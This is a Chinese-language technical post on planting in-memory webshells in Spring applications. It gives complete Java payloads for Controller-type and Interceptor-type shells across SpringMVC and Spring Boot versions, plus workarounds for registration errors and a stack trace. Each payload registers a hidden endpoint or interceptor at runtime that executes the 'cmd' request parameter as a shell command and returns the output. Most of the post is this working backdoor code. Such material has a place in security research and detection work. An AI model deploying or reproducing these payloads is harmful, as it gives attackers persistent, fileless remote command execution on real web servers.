Controller型内存马
自定义注册Controller
1 2 3
| org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#registerMapping org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#registerMapping org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.MappingRegistry#register
|
内存马Payload
SpringMVC
经测试,https://github.com/W01fh4cker/LearnJavaMemshellFromZero?tab=readme-ov-file#41-spring-controller%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC, https://goodapple.top/archives/1355 等Spring Controller
型内存马在SpringMVC
项目中可以正常使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Method; import java.util.Scanner;
@RestController public class TestEvilController {
private String getRandomString() { String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; StringBuilder randomString = new StringBuilder(); for (int i = 0; i < 8; i++) { int index = (int) (Math.random() * characters.length()); randomString.append(characters.charAt(index)); } return randomString.toString(); }
@RequestMapping("/inject") public String inject() throws Exception{ String controllerName = "/" + getRandomString(); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = InjectedController.class.getMethod("cmd"); PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null); InjectedController injectedController = new InjectedController(); requestMappingHandlerMapping.registerMapping(info, injectedController, method); return "[+] Inject successfully!<br>[+] shell url: http://localhost:9090" + context.getServletContext().getContextPath() + controllerName + "?cmd=ifconfig"; }
@RestController public static class InjectedController {
public InjectedController(){ }
public void cmd() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); response.setCharacterEncoding("GBK"); if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in, "GBK").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } } } }
|
Spring Boot <= 2.6.x
参考https://github.com/W01fh4cker/LearnJavaMemshellFromZero?tab=readme-ov-file#41-spring-controller%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Method; import java.util.Scanner;
@RestController public class TestEvilController {
@Autowired private RequestMappingHandlerMapping requestMappingHandlerMapping;
private String getRandomString() { String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; StringBuilder randomString = new StringBuilder(); for (int i = 0; i < 8; i++) { int index = (int) (Math.random() * characters.length()); randomString.append(characters.charAt(index)); } return randomString.toString(); }
@RequestMapping("/inject") public String inject() throws Exception{ String controllerName = "/" + getRandomString(); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); Method method = InjectedController.class.getMethod("cmd"); PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null); InjectedController injectedController = new InjectedController(); requestMappingHandlerMapping.registerMapping(info, injectedController, method); return "[+] Inject successfully!<br>[+] shell url: http://localhost:8080" + controllerName + "?cmd=ipconfig"; }
@RestController public static class InjectedController {
public InjectedController(){ }
public void cmd() throws Exception { HttpServletRequest request = (HttpServletRequest) ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = (HttpServletResponse) ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); response.setCharacterEncoding("GBK"); if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in, "GBK").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } } } }
|
Spring Boot >= 2.6.x
Spring Boot >= 2.6.x
版本手动注册会抛出Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".
异常导致注册失败,所以Spring Boot >= 2.6.x
可以使用下面的Payload
打内存马 - 参考https://blog.csdn.net/maple_son/article/details/122572869
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| import jakarta.servlet.http.HttpServletRequest; import org.springframework.beans.factory.InitializingBean; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.stereotype.Service; import org.springframework.web.bind.annotation.*; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import java.lang.reflect.Method;
@Controller public class evilController {
@Autowired private RequestMappingHandlerMapping requestMappingHandlerMapping;
@Autowired private MappingRegistrationService mappingRegistrationService;
@RequestMapping("/injectController") public ResponseEntity<String> registerEvilController() throws Exception { mappingRegistrationService.registerMapping("/shell", "shell"); return ResponseEntity.ok("Evil controller injected successfully."); }
public static class controllerShell { public controllerShell() {}
public void shell() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd); } } }
@Service class MappingRegistrationService implements InitializingBean {
@Autowired private RequestMappingHandlerMapping requestMappingHandlerMapping;
private RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration();
@Override public void afterPropertiesSet() throws Exception { this.config.setTrailingSlashMatch(requestMappingHandlerMapping.useTrailingSlashMatch()); this.config.setContentNegotiationManager(requestMappingHandlerMapping.getContentNegotiationManager()); if (requestMappingHandlerMapping.getPatternParser() != null) { this.config.setPatternParser(requestMappingHandlerMapping.getPatternParser()); } else { this.config.setSuffixPatternMatch(requestMappingHandlerMapping.useSuffixPatternMatch()); this.config.setRegisteredSuffixPatternMatch(requestMappingHandlerMapping.useRegisteredSuffixPatternMatch()); this.config.setPathMatcher(requestMappingHandlerMapping.getPathMatcher()); } }
public void registerMapping(String pattern, String methodName) throws NoSuchMethodException { RequestMappingInfo mappingInfo = RequestMappingInfo.paths(pattern) .methods(RequestMethod.valueOf("GET")) .options(this.config) .build();
Method targetMethod = evilController.controllerShell.class.getDeclaredMethod(methodName); requestMappingHandlerMapping.registerMapping(mappingInfo, new evilController.controllerShell(), targetMethod); } }
|
Interceptor型内存马
具体原理参考:https://goodapple.top/archives/1355
堆栈信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| doDispatch:1028, DispatcherServlet (org.springframework.web.servlet) doService:963, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:529, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:623, HttpServlet (javax.servlet.http) internalDoFilter:199, ApplicationFilterChain (org.apache.catalina.core) doFilter:144, ApplicationFilterChain (org.apache.catalina.core) doFilter:51, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core) doFilter:144, ApplicationFilterChain (org.apache.catalina.core) invoke:168, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:482, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:660, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:346, CoyoteAdapter (org.apache.catalina.connector) service:396, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:937, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
|
内存马Payload
SpringMVC
,SpringBoot
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.print.attribute.standard.PrinterInfo; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.util.ArrayList;
@RestController public class shellInterceptor {
@RequestMapping("/inject") public String inject() throws Exception { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); adaptedInterceptors.setAccessible(true); ArrayList<Object> adaptedInterceptorsList = (ArrayList<Object>) adaptedInterceptors.get(abstractHandlerMapping); Inject_shellInterceptor injectInterceptor = new Inject_shellInterceptor(); adaptedInterceptorsList.add(injectInterceptor); return "Inject successfully"; }
public class Inject_shellInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } return true; } return false; } } }
|
使用AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
而不是AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
原理如下:
1 2 3 4 5
| 在 Spring MVC 中,AbstractHandlerMapping 是所有 Handler 映射器(Handler Mapping)的基类,用于将 请求 URL 映射到具体的 Controller 处理方法。常见的 HandlerMapping 主要包括:
(1) SimpleUrlHandlerMapping:基于静态 URL 规则进行映射(通常用于 XML 配置)。 (2) BeanNameUrlHandlerMapping:基于 Bean 的名称进行 URL 映射。 (3) RequestMappingHandlerMapping:基于 @RequestMapping 注解进行映射(Spring MVC 默认使用)。
|
需要指定RequestMappingHandlerMapping
,否则会抛出异常No qualifying bean of type 'org.springframework.web.servlet.handler.AbstractHandlerMapping' available
Controller
型内存马同理